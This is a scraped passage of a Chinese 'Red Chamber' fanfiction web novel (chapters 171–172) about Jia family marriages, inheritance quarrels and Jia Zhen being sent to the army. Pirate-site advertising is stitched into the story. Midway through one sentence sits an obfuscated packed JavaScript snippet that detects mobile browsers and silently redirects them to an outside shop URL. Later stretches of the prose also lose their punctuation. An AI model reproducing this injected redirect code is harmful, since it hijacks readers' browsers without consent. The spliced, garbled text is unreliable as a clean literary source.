“罢了罢了,我老婆子不过是想要享一享天伦之乐,既然你舍不得二丫头,那就算了吧!”贾史氏摆了摆手,倒是一边的贾宝玉有些不乐意,他喜欢香香软软的女孩子,三妹妹如今还是个小婴儿,动不动就哭,他是不感兴趣的。而二姐姐生得好看,性子也温柔,对于贾宝玉来说更有吸引力。 但贾宝玉也是聪明人,他早就明白,在这个家里,到底谁的话才算数。 像是在荣庆堂和荣禧堂,贾史氏就是最大的权威,只要她发了话,便是那个对自己鼻子不是鼻子眼睛不是眼睛的老爷,也只能听之任之。 而在东院那边,贾史氏这一套就不好使,东院那边从来都是选择性孝顺,对东院有利的就听,无碍的可听可不听,有害的那是坚决不听。 至于这位大伯母,在贾宝玉心里早就是惹人生厌的死鱼眼珠子,竟然拦着二姐姐不与自己住。 当然,这种话,贾宝玉肯定是不能当着别人面说的,因此,他只好坐在一边,百无聊赖地玩着一个玛瑙雕琢的蟋蟀罐,里头蟋蟀早就没了,他就是在摸着罐子上雕刻的蟋蟀蚂蚱,人却有些心不在焉。 张氏对于贾宝玉也没多少在意,又不是自己生的,就贾史氏这种养法,再好的孩子也得被她养废了。 张氏口不对心地夸了贾宝玉一番,便表示自己回去还有事,别的不说,贾瑚定亲,之后的流程也得慢慢走起来。 贾史氏虽说不乐意叫贾瑚娶了这么一个宗室郡主,在她看来,这样的好事应该留给贾珠或者是贾宝玉才对,不过,终究是皇家,贾史氏对皇家的敬畏还是有的,因此便吩咐道“玻璃,去把我之前准备好的那柄累丝八宝三多如意拿过来。” 玻璃很快取了个狭长的匣子过来,在张氏面前打开, 却是一柄累丝金如意, 做成佛手、桃子、石榴缠枝相连的模样,又镶嵌了八种不同的宝石,看起来珠光宝气,格外耀眼。 张氏一愣,推脱道“老太太,这应该是您的心爱之物,您还是自个留着吧!” 贾史氏说道“这又不是给你的,瑚哥儿要娶的毕竟是宗室郡主,咱们家的聘礼也不能简薄了,回头叫人笑话!” 张氏想了想,也没客气,都是亲孙子,分奶奶点东西也是理所当然的事情,何况,还不知道这玩意是不是原本贾家官中的呢!当下说道“那媳妇替瑚哥儿多谢老太太慈爱!” 送走了张氏,瞧着贾宝玉一副眼巴巴的模样,贾史氏笑道“宝玉你也想要啊,那个太重了,你现在还小,用不上,回头祖母给你更好的!” 贾宝玉抱着贾史氏的胳膊,撒娇道“老祖宗最好了!” 第 171 章 回头老太太一走,... 第171章回头老太太一走, 水芮薨逝之后,陈国大长公主原本是个极喜欢热闹的人,当年动不动就宴客,宗室还有亲朋中但凡有什么喜事,陈国大长公主都是要去凑热闹的。如今丈夫没了,她似乎一下子也没了精气神。 大家都说陈国大长公主与故北静郡王鹣鲽情深,只怕要情深不寿。 水溶的袭爵并没有遇到什么波澜,水芮热孝之后,圣上就下了袭爵的旨意,准许水溶袭北静郡王王爵,又赐下新的印信、王服。眼见着尘埃落定,水溶这才安下心来关门守孝,北静郡王府就暂且沉寂了下来。 因着水芮的薨逝,保龄侯府先没了世子,又没了史侯,在众人口中就算不上什么了!最后关头,史侯还是做出了决断,由史鼎袭爵,家产均分,但是,史家一部分军中的人脉就给了史鼐。 毕竟,史鼎并不在军中发展,或者说,史鼎从事的是类似于军中的文职,而史鼐才是正儿八经上过阵的人,史鼐想要爵位,就得自个去争取。 兄弟两个勉强都答应了下来,只是接下来,大房就又是个问题。 史鼑死在史侯前头,在这个时代算是不孝,最重要的是,史鼑只有一个女儿,无法承袭香火,因此史侯分家的时候,给大房的只有一个庄子,还有些许浮财,这对史鼑的遗孀来说,无疑是个重大的打击。 她没了丈夫,只有一个女儿,也亏得是在高门大户,要不然她这样孤儿寡母的,不被人吃了绝户才怪。但实际上,在她心里,自己已经是被吃了绝户。她当初去求过贾史氏,让贾史氏做主,自己从二房或者是三房过继一个儿子,她为的不是爵位,毕竟,在有成年嫡系子弟的情况下,谁会让一个年纪小的孙辈越过子辈来袭爵呢!她其实就是想要给史鼑留一脉香火,最重要的是,有个儿子,可以维持她们母女的利益。 但是二房和三房都不想这么做,因为这看似是占了长房的便宜,实际上无疑是会多出一个变数来,那就是,以后袭爵的人死了,是不是爵位还得回归到长房去? 贾史氏也不想趟这趟浑水,最终此事不了了之。对于史鼑夫人来说,她的天一下子塌了。她堂堂一个侯府世子夫人,如今却只能仰人鼻息。 她本身生产也没几个月,又连番变故,心中抑郁,瞧着亲生的女儿也是鼻子不是鼻子,眼睛不是眼睛的,只恨她怎么就投了个女胎,不是个儿子,以至于她落得个不尴不尬的境地。 孩子的乳母不过是出房门去拿东西,回来就看到史鼑夫人竟是想要掐死自己的女儿,吓得尖叫起来,赶紧过去夺了孩子就跑,史鼑夫人似乎也回过神来,整个人瘫软在地。 袭爵的史鼎两口子听说了这事,也有些抓瞎,毕竟,二房继承了爵位,对于长房是有责任的,如今长房嫂子竟是要掐死侄女,别人说起来不说什么虎毒不食子之类的话,只会说二房逼迫过甚,以至于长房母女没了立身之所。 悄悄请了个大夫回来看史鼑夫人,大夫的意思是痰迷心窍,某种意义上来说,人是有点疯了。这种情况下,谁敢再叫孩子养在她身边,便是养在史家,那也不成啊,你总不能将史鼑夫人关起来,到时候再出什么事,史鼎两口子是怎么都解释不清了。 找来了史鼐夫妇,两家一商量,干脆求上了贾史氏,私底下将实话说了,贾史氏见娘家那边这般乱糟糟境况,也是头疼,横竖如今府里三姑娘也养在她身边,多养一个也不算什么,因此,便将这个侄孙女也抱到了荣 国府抚养。 史家那边也赶紧先给孩子按照史家那边的排行取了小名( 史湘云有了名字,那三姑娘就也得取名,当年玫姐儿没有跟着元春取名,就一直叫贾史氏耿耿于怀,如今三姑娘是元春的亲妹妹,自然要跟着元春走,她生在三月里头,贾史氏就给起了个探春的乳名。 身边多了两个妹妹,虽说都还是小婴儿,但贾宝玉还是挺欢喜,每日里云妹妹,三妹妹地叫着,两个小婴儿也算是好哄,加上身边乳母丫头都得力,并不曾叫贾宝玉看到什么不雅的场面,贾宝玉每次过来,要么就是在甜甜地睡觉,要么就是甜甜地笑,自然兄妹感情直线上升。 荣国府这边似乎一切都在好转,宁国府那边,徐氏如今对儿子贾珍已经是眼不见为净了。 贾珍之前被徐氏教训了一番,像是欺男霸女,横行霸道的事情是不敢做了,然后就将有限的生命投入到了无限的猎艳之中。 府里头有徐氏看着,他不敢过分,除了原本几个姬妾之外,也就是跟下头丫头厮混,而且还得人家愿意才行,免得回头告到徐氏那边,他又得挨一顿打。 但是在外头,贾珍就没这许多顾忌了,横竖他已经有了儿子,自觉已经完成了任务,因此整日里寻花问柳,流连青楼,也就是他身上只有爵位,没有职位,要不然的话,被御史参上一本,非得吃不了兜着走不可。 徐氏倒是叫人看着贾珍,但贾珍才是东府的当家人,除了个焦大因着救过老太爷,可以不把贾珍当回事之外,其他人都畏惧贾珍,哪里敢在徐氏面前说什么。 徐氏也不是类似于王熙凤那样的性子,并不强势,对此根本无可奈何。她去找贾敬,贾敬如今真的是修炼得走火入魔了,原本玄真观还算清净,如今却是多了十多个道士,道童都养了二三十个,花销的钱财倒是小事,而是这些道士一个个都不是什么有道真修模样,以前贾敬不过是诵读各种道经,礼拜三清罢了,如今,玄真观里头那些道士却是来路不一,这个说要内练一口元炁,养出先天一炁,孕育无漏真身;那个说要外炼金丹,一粒金丹吞下腹,我命由我不由天……总之,那叫一个纷纷扰扰,众说纷纭。 贾敬好歹也是两榜进士出身,结果硬是被这帮人忽悠得一愣一愣的,如今俨然就是个糊涂人。劝了几次之后,徐氏愈发绝望起来,丈夫不是丈夫,儿子是个混账,孙子又还小,现在也看不出什么来。 她要说年纪,也就比张氏大了十岁,但是如今看起来,已经是两辈人,每日里浅眠多梦,神思不属,少进饮食,一日日愈发衰老起来。 她琢磨着自己寿数不长,因而想着要趁着自己走之前,给贾珍娶个媳妇回来,要不然,偌大一个宁国府,以后这庶务谁管着呢,何况,贾珍还顶着个族长的名头,他的妻子就是宗妇,之前有她这个亲娘帮着管着,她若是不在了,谁来管这一摊子事情! 只是贾珍在外头真没什么好名声,一味贪花好色,前头那个在许多人口中都是被贾珍气死的,当初他还 装出个浪子回头的模样,如今谁还肯相信这个,好人家的女孩子,谁肯跳这个火坑啊! 如此一来,贾珍的继室竟是只能在小门小户里头挑选,徐氏越想越是不甘心,做梦的时候都恨不得砍死贾敬贾珍父子两个,一个不负责任,一个浪荡无行,以至于宁国府竟是陷入了这等窘境。 徐氏无可奈何之下,病急乱投医,直接往贾赦他们那边去了。 贾赦住在荣国府的东院,东边便是宁国府。当初贾赦跟贾敬这个堂兄关系好,东院跟宁国府之间就有一扇门通着,如今徐氏不想惊动了贾史氏,因此就从那扇门去了贾赦的院子。 贾赦这会儿正在跟张氏闲话,商议贾瑚聘礼的事情。平王府当初算是帮了贾赦两口子大忙,要不是平王府拉了张氏一把,又将贾瑚选去做了府里的伴读,叫他们没了后顾之忧,他们两口子真未必玩得过贾史氏和二房联手。如今两家结亲,这聘礼上头愈发得上心才行。 “也不能太过了,聘礼一高,嫁妆就也得跟上,平王府两位姑娘呢,到时候都一般厚嫁,真要伤了底子的!”张氏瞧着贾赦拿着单子,一个个奇珍异宝往外报,只得劝道。聘礼高的确是男方对女方看重,但要脸面的人家不仅会将聘礼还回来,还得再厚厚准备一份嫁妆,你这边要是弄得太过,到时候叫人家嫁妆如何准备呢? 贾赦听了,不免从善如流“既是如此,那有的东西等着郡主嫁过来,再私底下给了他们小两口吧!回头你也跟太妃娘娘那边说一声,别叫娘娘挑剔!” “什么话,娘娘是那等人吗?”张氏嗔道。 贾赦赶紧赔笑“自然不是,是我说错话了!” 这边正说话间,门口便有人说道“老爷,太太,隔壁东府太太来了!”因着贾敬辈分与贾赦贾政一般,所以,即便徐氏在宁国府已经被称作是老太太,再西府这边大家依旧是叫太太。 “嫂子怎么来了?”张氏赶紧起身,“怎地之前没叫人说一声,我好去门口迎接!”说着,便推了贾赦一把,贾赦也有些纳闷,这边是内院,他也没别处好避着去,只得跟张氏一起去相迎。 徐氏进来,各自叙礼,贾赦便想要避开“嫂子,你与你弟妹在这边说话,我先往前头去!” 徐氏犹豫了一下,还是说道“叔叔还是少待片刻,今儿个我过来,实在是有事相求!” 贾赦一愣,只得又坐定,问道“嫂子有什么事情,尽管说便是,何必说什么求字!” 徐氏愈发尴尬难堪起来,叹道“叔叔当年与你大哥常常同进同出,当日你大哥非要出家,临走与我说道,若是有事,可以找叔叔商议!只是我前些年硬犟,以至于如今难以收拾,只得来求叔叔!” 贾赦听徐氏这般说,也猜出来怎么回事,徐氏也是大家出身,若不是为了儿子,何必这般低声下气。 果不其然,就听徐氏叹道“叔叔也知道,我这辈子,就珍哥儿一个儿子,小时候难免多了几分宠溺,以至于如今竟是半点不像个样子!前头那个媳妇是个好的,性情也罢,才干也罢,都是百里挑一,偏生他不知道珍重,没心没肺的,每日里跟媳妇生些闲气,后来人没了,就留下个蓉儿。如今没了管束,愈发变本加厉,我一个后宅妇人,实在是没法子了,只能来求叔叔!” 贾赦听了,看了张氏一眼,试探道“嫂子的意思是,希望我们给珍哥儿做个媒,寻个续弦?” 徐氏却是摇了摇头,说道“珍哥儿那性子若是不改,娶了谁回来,那都 是白白祸害人家一辈子,我错了一次也就罢了,总不能再错一次!” 贾赦一听,顿时牙疼起来,贾珍都多大年纪了,这性子早就定了型,再想要改,那不是开玩笑嘛! 张氏在一边也是不知道怎么说好,只得道“嫂子一片慈心,我们都是知道的!只是珍哥儿到底大了,说起来,我们老爷是叔叔,实际上跟珍哥儿也大不了几岁,叫我们老爷管着珍哥儿,他未必肯服气呢!” 徐氏一咬牙,直接说道“我不是故意为难叔叔,实在是珍哥儿再这么下去,就废了!叔叔如今管着五城兵马司,虽说不算军中,但那边也有军法,我就想着叫珍哥儿进去,哪怕就是做个小卒呢,只叫他知道畏惧就行!” 贾赦一听,也明白徐氏的意思了,无非就是想要用军法治贾珍几次,叫贾珍能够老实下来。他琢磨一番,说道“嫂子的意思,我明白了,只是五城兵马司却是不行!” 徐氏顿时急了,忙说道“怎么就不行了,叔叔是五城兵马司提督,难道随便塞个人进去还不成?” 贾赦赶紧解释道“嫂子,我不是这个意思!嫂子每日里在内宅,外头的事情却是不知道,五城兵马司说是军中,实际上跟外头衙门无异,里头那些官军,多半都是老油子,这等人要是珍哥儿接触多了,别说是学好,别跟着变成滚刀肉,那可就不好了!依我的意思,不如回头我去找个人,将珍哥儿塞到京营里头。那边我们两家老太爷都是待过的,还有些香火情分,到时候我再托几个人看着,既叫珍哥儿得个教训,也别真的伤了哪里,那可就不好了!” 听到贾赦这么说,徐氏不由松了口气,又起身给贾赦道谢,贾赦赶紧避开,说道“虽然隔了房,但珍哥儿难道不是我侄子?之前我是没想到这些,如今还得叫嫂子提起来,是我的不是才对!” 徐氏苦笑道“叔叔言重了,只盼着亡羊补牢,犹时未晚!” 张氏安慰道“只要珍哥儿肯学好,什么时候都不晚!嫂子尽管好好养着蓉儿,好日子还在后头呢!” 徐氏听了张氏的话,点了点头,口中说道“希望如此吧!” 送走了徐氏,张氏就忍不住咂舌“之前过年的时候瞧着大嫂子还好,如今看起来,竟是快跟咱们老太太一个模样了!” 贾赦冷哼了一声,说道“那也是珍哥儿不学好,硬是将人气成这个样子的!珍哥儿都多大的人了,竟是还总是这般,实在是不像样,我得好好想一想,该怎么收拾他一顿才好!” “珍哥儿媳妇也走了好几年了,他只是一味浪荡,愈发叫嫂子放心不下!”张氏想了想,叹道,“嫂子如今这个样子,只怕也撑不了多久,光是蓉儿也就罢了,家里头非得有个精明强干的媳妇管着才行!” 贾赦瞥了张氏一眼,笑道“夫人想要给珍哥儿做媒?依我说,且先省了这份闲心,就珍哥儿那样子,哪个好人家看得上,要是那等只想着攀附的,家里又有什么好姑娘,别到时候娶进来,嫂子没能省心,还多费一份闲心,那可就是好心办坏事了!” 张氏一听,一时也是偃旗息鼓,但是脑子里总是有个隐隐绰绰的人影,一时半会儿偏生又想不起来是谁,只得暂时作罢,说道“老爷说的是,还是得早点将珍哥儿性子掰过来才行!要不然的话,便是个女诸葛,也是无用!” 贾赦听着愈发摩拳擦掌起来“此事宜早不宜迟,早点将珍哥儿调弄出来,嫂子也能安心!唉,敬大哥也是狠心,如今都是时过境迁了,竟还是对家 里头不管不问的!我前些日子去了一趟玄真观,那边哪里还是什么道家清修之地,简直是群魔乱舞,我略瞧了一下,里头竟然还混了几个小道姑,可不是不像话嘛!” 想看微云烟波的《红楼太妃要躺平》吗?请记住[笔?╬趣阁小说]的域名[(. 张氏听得心里一突“什么道姑?这乾道坤道都不分开的吗?” 贾赦随口说道“谁知道怎么回事,说不定就是找了几个丫头扮做道姑,其实还是做些杂活的!敬大哥也不是蠢人,也这把年纪了,不会做什么糊涂事的!” 张氏心里就是觉得有些不好,只得说道“希望如此吧!唉,造化弄人,好好一个读书人,如今竟是这般模样!” “那有什么办法,我不是没劝过,如今在朝的都是新皇了,他那样的才干,出来也能做出点事业出来,结果呢,我不说还好,我一说,他就说我俗了!说什么天道浩渺,仙道茫茫之类的话,还说什么要断绝尘缘!真要是能成仙也就罢了,我看那里乌烟瘴气的,他这个仙啊,根本修不成!”贾赦没好气地说道,原本贾敬是同龄人里头最出挑的一个,贾赦还是挺佩服他的,结果如今聪明人钻了牛角尖,还不如是个蠢货呢! 听到贾赦这般言语,张氏也是无话可说,只得说道“唉,他倒是断绝尘缘了,倒是苦了大嫂子!” “谁说不是呢!”贾赦附和道,“行了,我明儿个就去找人,先将珍哥儿的事情准备一下,瑚儿这边,横竖还没到下定的日子,倒是可以慢慢来!” 张氏赶紧说道“哪里还能慢慢来,别的不说,瑚儿要成婚,不得给他个单独的院子?他如今那点地方哪里够住的,总不能到时候郡主和陪嫁的下人也跟咱们一块在东院里头挤着!早点把地方定下来,王府那边才好量了尺寸做家具,要不然,可就要闹笑话了!” 贾赦一时没想到这个,当日他做世子的时候,就是住在东院的,那会儿觉得地方宽敞,如今要是娶媳妇,还在这里,就逼仄了!这会儿不免有些犹疑“那怎么办?总不能将老二一家子撵出去,把东院给瑚儿腾出来?” 张氏赶紧说道“不是这个意思,真要是这般,老太太不发作才怪!何况,二房占着荣禧堂,那边的事情就得他们管着,咱们不用掺和,回头咱们要是住了荣禧堂,那老太太还不知道要如何呢!所以,我的意思是,咱们将地方扩一扩,再有几年,琏儿可也要成亲了,不趁着现在,先将地方预备出来,到时候还不够费心的!” 贾赦一时没想明白张氏的意思,就听张氏说道“咱们隔壁就是东府,总不能借东府的地方,依我的意思,咱们家后头住着的都是府里的族人和家生子,不如给他们换了地方,先将那边腾出来,修出几个院子来,以后便是家里人丁繁衍,也住得下!至于荣禧堂,依我的意思,那边原本就是敕造的,如今府里头老太太还是国公夫人的名头,咱们家还有资格住,等老太太走了,那边几处就干脆都封存起来,还给户部罢了,免得住着名不正言不顺的!” 贾赦一听,顿时大乐“不错,回头老太太一走,我就上表,看老二一家怎么办!” 作者有话要说 微云烟波向你推荐他的其他作品 第 172 章 我看的是凤丫头自... 第172章我看的是凤丫头自 平王府这边,自从佳婉定了亲事,似乎一下子就长大了一般,之前的一点跳脱性子也不见了,经常就是待在自己屋里做些针线。 宗室郡主的嫁衣有宗人府负责,倒是不用自己绣,但是新妇进门,给婆家的人总要准备一些针线的。之前顾晓对此并不强求,因此,她们姐妹两个一年到头也做不了几样针线,还都是荷包扇套之类的小玩意。如今要出嫁了,发现之前做的那些都送了几个兄弟,自己的也用过了,不免有些着急。 顾晓听说了,不免要劝几句,贾家那边,谁缺几件针线呢,也就是后来那个袭人,仗着自己伺候了贾宝玉,又不要林黛玉做自己头上的主子,大喇喇说什么林黛玉一年到头橫针不动竖针不拈的,却不想想看,人家正儿八经的小姐,乐意了做几样针线玩玩,谁真的拿这个当饭吃了!也就是史家那会儿落魄了,减了针线上的人,叫家里头姑娘媳妇自个做针线。 干脆叫下头的人将大致的都做出来,她收个尾就好,谁还在乎是不是她亲手做的啊! 佳婉终究年纪小,脸皮薄,顾晓便叫下头人帮着佳婉将要做的荷包鞋袜什么的裁剪了,用那等本来就织了花的料子,她只要缝合一下,配个穗子络子就行,这下就减了佳婉不少工作量。 等着佳婉心绪平定了下来,顾晓才将人叫了过来,说道:“瑚哥儿也是我看着长大的,不是什么糊涂人,性子也好。你终究是宗室郡主的身份,虽说平常没必要拿捏着身份充大,但是许多事情,也别光听别人的,一味贤惠。我们嫁到皇家,那是没办法,必须要贤惠起来,但是你本来就是下嫁,若是夫妻感情和顺,那就求个一心一意,若是你们之后相敬如宾,那倒是可以将贤惠做在头里!只是无论如何,不要与自己为难!” 见佳婉听得面红耳赤,顾晓等她缓了缓,才说道:“我虽说跟贾家那边说了,准备多留你几年,但时下的规矩你也知道,顶多留你到十八岁,再久也是不能!但女子这个年纪,其实依旧还没有真正长成,你嫁过去之后,也不必急着怀孕生子,对于女子来说,生育一次,便伤一次元气,若是连续产育,更是伤身!这年头,女子卑弱,当年陈国大长公主以公主之尊,嫁给了先北静郡王 ,为了拼个儿子,也是不知道费了多少心血!如今陈国大长公主的模样,你之前也该见过,这不仅是鸳鸯失伴伤心过度,也是当年连续产育伤了身子,元气不足!外头那些避孕的药,不要随便乱吃,也都是伤身的。我之前私底下问了大夫,倒是有些法子,回头我一并与你说,若是瑚哥儿只顾自己痛快,不肯避孕,那你也别逞强!身体是自己的,比什么都重要! 佳婉被说得面色一白,顾晓安慰道:“这些话,原本我不当多说,但你毕竟是我看着长大的,我得说在前头!你们小孩子家家的,自然更看重情分,只是夫妻之间,有情是一种过法,没情分又是另一种过法。或许年轻的时候情深义重,等着后来,情分淡了也是有的!《西厢》你也听了不知道多少遍,回头你再去看看《莺莺传》,嗯,唐传奇里头许多故事你们女孩子其实都该看一看,虽说都是男人写的,可正是如此,才看得出那些男人的心思,不管什么时候,保重自己才是最重要的! 佳婉拿着一匣子书,心烦意乱地回去了,结果她生母黄氏就在那边等她。 黄氏之前为了自己养老的事情,硬是将佳婉的月例乃至压岁钱都自己收了起来,虽说没有闹得母女失和,但母女之间情分也委实不如从前。如今佳婉更是直接被记在了顾晓名下,黄氏地位就愈发尴尬起来。 佳婉终究是她生的,她也不是不疼这个女儿,如今女儿即将出嫁,黄氏便帮着做了一些针线给她送过来,哪知道人正好不在,只得等着,这会儿瞧着佳婉神不守舍回来,不免有些疑惑,忙问道:“好姑娘,可是有什么事情,莫不是那位贾家公子有什么不是的地方? 佳婉忙摇了摇头,犹豫了一番,这才期期艾艾将顾晓说的那些话跟黄氏说了,黄氏听了,竟是直接跪了下来,对着正院的方向磕了几个头,这才起身跟佳婉说道:“娘娘这是一心为你好,才说这些话!按理说,那位贾公子跟娘娘才是有血脉之亲,哪怕血缘已经很远,但终究亲近一些,而大姑娘你却是别的女人肚子里爬出来的。这么多年来,我看娘娘对两位姑娘都极为宽厚,只当是娘娘不是很在意,如今听得这样的话,才知道,娘娘竟是这样一副慈母心肠,玲珑心肝! 佳婉抿了抿嘴唇,问道:“我看《女诫》、《女则》这些书上,似乎…… 黄氏忙截断了佳婉的话:“好姑娘这些东西看看也就罢了真要大家都是如此当年侧太妃何必要一意扒着先王爷?这内宅的事情不是东风压倒西风就是西风压倒东风您一意贤良 “当然贾公子原本是在咱们王府做伴读的又是娘娘家的亲戚性情什么的娘娘也都知道的!只是人心易变当年周姐姐不也是先王爷的心头好后来又如何呢?便是侧太妃当年那般得宠也没耽误娘娘和我们几个生儿育女啊!”黄氏一时半会儿找不出其他例子来只得拿王府之前的事情跟佳婉说“至于生育的事情娘娘说得也是女人生产那就是鬼门关!我们是运道好娘娘心慈且正便是侧太妃当年产育她也不曾为难过!要不然的话……” 黄氏没敢多说只是私底下又嘱咐了佳婉几句嫁人之后生育固然是大事但更要紧的是自己的身体要是为了生育伤了自己回头只怕不希望有新人那也有新人了!若是不想生了也不能随便让下头人生最好就是找陪嫁的丫头或者是下头的奴婢她们是贱籍不是良家生下来的孩子天然就要低一等不会威胁到嫡子的地位。 黄氏絮絮叨叨一番之后便回去了留下佳婉患得患失。 顾晓其实话说出口也有些后悔毕竟佳婉太小了如今说了怕她没法接受。不过再一想若是佳婉跟贾瑚感情培养起来了再说这些却又晚了!人心易变贾瑚暂且不说贾瑚的亲弟弟贾琏难道当年跟王熙凤没有琴瑟和谐过?也是恩爱过相当长一段时间的佳婉固然不像是王熙凤那样强势好权但她身份在这里谁知道贾瑚会不会有一天觉得佳婉用郡主的身份压着他。 与其日后伤心不如早点做好准备在这个即便是公主婚姻也没有太多保障的时代女子保全自己最好的办法就是要有所保留未可全抛一片心。 因着顾晓一番话佳婉蔫了好几天徒嘉钰原本私底下帮着佳婉和贾瑚传递些东西瞧见佳婉不似从前一 般小女儿情状不免有些奇怪便又跑去问顾晓。 顾晓哪里好将这种事情跟儿子说因此只说道:“佳婉也就是一时没想明白以后就好了!还有我瞧你是内外不分瑚哥儿是跟你一起长大的不假你妹妹也是亲的结果你在里头倒是一个劲地说瑚哥儿好话急着嫁妹妹不成?” 徒嘉钰赶紧喊冤:“哪里是这样要不是因着瑚哥儿知根知底人也斯文有礼这样的品性将来妹妹嫁过去定然不会受了委屈我才这般的!难不成我在外头随便认识个什么人就想要将妹妹许出去吗?” 顾晓一指头点在徒嘉钰的额头上轻哼一声:“最好如此以后要是你妹妹在瑚哥儿那里受了委屈我先找你!” 徒嘉钰忙说道:“不用妈你找我我头一个打上门去便是这个王爵不要了也要给他一个好看!我们家金尊玉贵养出来的女孩儿嫁出去也该是别人捧着的谁敢叫她受了委屈也得看我这个做兄长的在不在!” “行了你明白就好!”顾晓将徒嘉钰打发了心里也没那么烦躁起来。 徒嘉钰回头就找上了贾瑚抱怨起来:“唉我家两个妹妹说是原本养在生母身边其实都是我妈看顾着如今妹妹要出嫁我妈跟剜了她的心肝一样对着我也鼻子不是鼻子眼睛不是眼睛的我为了给你送点东西可是吃了不少排头回头你可得补偿我!” 贾瑚忙赔笑道:“我俩之间还要说这个但凡你有什么吩咐我水里来水里去火里来火里去绝没有半点推辞!” 徒嘉钰笑嘻嘻说道:“既是如此此事我算是记下了回头你若是不从看我怎么收拾你!” 面对一跃变成大舅哥的小伙伴贾瑚只得各种伏低做小赔笑作揖总算是将徒嘉钰哄好了 徒嘉钰没好跟贾瑚说佳婉近些日子思绪不佳干脆白了他一眼说道:“你这一天天的尽叫我往家里传递东西被我妈逮了个正着你说还能如何?” 贾瑚不免干笑一声毕竟这等事情三天两头的来往哪个丈母娘也受不了啊只得又给徒嘉钰赔了不是才算是作罢! 贾瑚有点神不守舍回去就被张氏瞧见了问清楚了情况不免也被训斥了一番:“你如今 这个年纪,就该好好读书上进,虽说郡主不指着什么夫荣妻贵,但你要是出息,郡主那边岂不是更有体面?如今尽在这等小节上头下功夫,要我是娘娘,悔婚的心都有了!” 吓唬了贾瑚一通,瞧着儿子老老实实回去念书,张氏才松了口气,她是真没想到,素来有些少年老成地儿子居然还有这么沉不住气的时候。 然后张氏又有些郁闷,这媳妇还没娶回来呢,就天天惦记着,等媳妇进门了,那真是要娶了媳妇忘了娘!好在张氏也不是那等不讲道理的恶婆婆,这门婚事他们家原本就有些高攀,按照贾赦的意思,因着这门婚事定了,圣上对贾赦也愈发放心起来。 小说的域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 说白了,平王府是板上钉钉的当今党,两家结亲,其实就是贾赦这一房明确站队了。在这样的情况下,别说张氏其实对这门亲事很满意,便是有些不满,也半点不能表现出来。 回头张氏跟贾赦说了一番,贾赦倒是乐了一回,深觉贾瑚有他年轻时候的风范,又想到当年与张氏结亲时候的事情,不免又有些怀念和怅然。物是人非,岳家如今还零落在外,也不知道什么时候才能再相见。 贾赦难得生出一点伤春悲秋之心,贾珍已经在军营里头骂娘了! 京营本来跟荣宁二府渊源就极深,贾赦只是略一请托,人家就答应下来。毕竟,贾赦又不是要让贾珍在京营中占据一份兵权,而只是想要借着京营收拾贾珍一番,叫贾珍知道好歹。 贾赦也是鸡贼,他趁着贾珍在楼子里喝醉了,就将人给弄走了,衣服一换,往京营里头一塞,也没用贾珍自个的名字,反倒是拿了贾家族里一个偏远旁支的户帖,将贾珍塞了进去。只说他是家里的独子,却不知道支撑家业,反倒是吃喝女票赌,无所不为,之前气死了一个老婆,如今愈发不像话起来。 知道贾珍身份的是上头的人,下头只知道这个看起来油头粉面的家伙是个败家子,快将父母都气死了,只得将人送到营中,指望他能洗心革面。 贾赦又叫人给了贾珍所在的那个百户大小军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464943|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官乃至寻常士卒一笔银钱,叫他们尽管收拾贾珍,但是不能真落下什么残疾来。 贾珍落到这些人手里,哪里能得什么好,头一天就因为起不来,被行了军法,打了一顿板子,之后又因为没法完成训练任务,饿了一天肚 子。他跟人说自己的身份没人相信他想跑被人抓了个正着又被抽了一顿……总之叫天天不应叫地地不灵。 他可从来不是什么心志坚定之人两三天功夫就认命了!老老实实跟着训练吃那些粗陋的放在府里头连下人都不吃的食物别人能轮休但是就是轮不到他便是拿了军饷也没地方花去。他想要托人给家里送信但是最后送信的人回来直接揍了他一顿说人家说他是冒认贵亲叫自己也跟着丢了脸面最后那点子军饷都被人吞了去。 而这边张氏也想起来自己当日听到给贾珍找续弦的时候为什么总想起一个人来。 王熙凤听说贾瑚跟王府郡主结亲就过来道喜。 自那年停了大选王熙凤就很少往荣国府来了。王子胜夫人是个有自知之明的自家已经败落到这个田地跟贾家结亲是不行了王熙凤又生得花容月貌不是王子胜夫人吹反正元春比王熙凤要差不少放在贾家那边贾家几个公子哥都大了回头将女儿祸害了可怎么办她这个身份做不得妻总不能做妾吧!那也太丢脸了! 王子胜夫人的想法就是靠着贾家的关系找个低级的官员将王熙凤嫁出去她手里还有一些钱财王熙凤在贾家多年也得了不少好处贾家也给了她一份月例逢年过节也有她的衣裳首饰 如今贾瑚定亲王子胜夫人紧赶着绣了一幅小炕屏叫王熙凤送过来给贾瑚贺喜也是为了在大房那边留个好印象。毕竟比起至今都看不清楚现状还怀着侥幸之心的小姑子王子胜夫人可早就看明白了贾家如今真正做主的还是大房所以讨好大房那肯定没错。 王熙凤眼看着就是豆蔻年华王子胜夫人是没法带着王熙凤出入什么高门大户的如今不在贾家那边多刷一些存在感那还等到什么时候。 张氏瞧见王熙凤就意识到自己之前想到贾珍婚事的时候就莫名想到了王熙凤。 王熙凤在贾家住的时间不短即便不是养在张氏身边却也是常见的虽说家里败落却浑然没有什么自卑之状反倒是个极为聪明伶俐的性子还干脆爽利口齿灵便每每哄得贾史氏开怀不已。也就是王家如今实在是不行了要不然的话以 贾史氏的心思,真的是乐意将王熙凤长长久久留在家里的。原本贾史氏还想过叫王熙凤给元春做备胎,但是见得多了,就知道,这事根本不可能。 主要是王熙凤性情太过鲜明,真要是进了宫,只怕要喧宾夺主,到时候还能指望她一心一意替元春打算?与其养虎为患,不如老实一点,当做亲戚家的姑娘好好养着,还能为将来留下一点情面。 